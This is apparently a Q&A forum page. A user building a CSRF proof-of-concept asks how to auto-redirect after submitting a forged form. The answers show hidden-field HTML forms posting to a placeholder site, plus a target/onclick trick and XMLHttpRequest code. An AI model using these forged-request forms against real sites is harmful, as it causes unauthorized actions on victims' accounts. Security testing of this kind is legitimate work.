Logo Questions Linux Laravel Mysql Ubuntu Git Menu
 

Redirecting to a page after submitting form in HTML

Tags:

I'm fairly new to coding in HTML. After hours of searching the internet for a way to do this, I failed and so I'm here. I was setting up a CSRF Proof of concept page here, I want it to redirect to another page which will execute the payload that the CSRF had implemented.

<html>   <body>     <form action="https://website.com/action.php?" method="POST">       <input type="hidden" name="fullname" value="john" />       <input type="hidden" name="address" value="street 2, 32 ave" />       <input type="submit" value="Submit request" />     </form>   </body> </html> 

So after this form is submitted using, all it does is redirect to this page

which looks like this,

But instead of that, I want it to redirect to another URL as well as submit that form.

like image 696
Ons Ali Avatar asked May 27 '17 20:05

Ons Ali


People also ask

How do I automatically redirect a page in HTML?

To redirect from an HTML page, use the META Tag. With this, use the http-equiv attribute to provide an HTTP header for the value of the content attribute. The value of the content is the number of seconds; you want the page to redirect after.

How do you get to the next page after login in HTML?

Approach: To redirect from an HTML page to another page, you can use the <meta> tag by specifying the particular link in the URL attribute. It is the client-side redirection, the browsers request the server to provide another page.

How do I link a submit button to another page in HTML?

In HTML, linking submit buttons using the Anchor Tag is a simple and dependable approach. Write/Declare a Submit button between the Anchor tag's Starting and Closing tags. Give a Path where you wish to link your Submit Button by using the href property of the Anchor element.


2 Answers

For anyone else having the same problem, I figured it out myself.

    <html>        <body>          <form target="_blank" action="https://website.com/action.php" method="POST">            <input type="hidden" name="fullname" value="Sam" />            <input type="hidden" name="city" value="Dubai&#32;" />            <input onclick="window.location.href = 'https://website.com/my-account';" type="submit" value="Submit request" />          </form>        </body>      </html>

All I had to do was add the target="_blank" attribute to inline on form to open the response in a new page and redirect the other page using onclick on the submit button.

like image 197
Ons Ali Avatar answered Oct 01 '22 04:10

Ons Ali


You need to use the jQuery AJAX or XMLHttpRequest() for post the data to the server. After data posting you can redirect your page to another page by window.location.href.

Example:

 var xhttp = new XMLHttpRequest();   xhttp.onreadystatechange = function() {     if (this.readyState == 4 && this.status == 200) {       window.location.href = 'https://website.com/my-account';     }   };   xhttp.open("POST", "demo_post.asp", true);   xhttp.send(); 
like image 43
Hardik Sanghavi Avatar answered Oct 01 '22 04:10

Hardik Sanghavi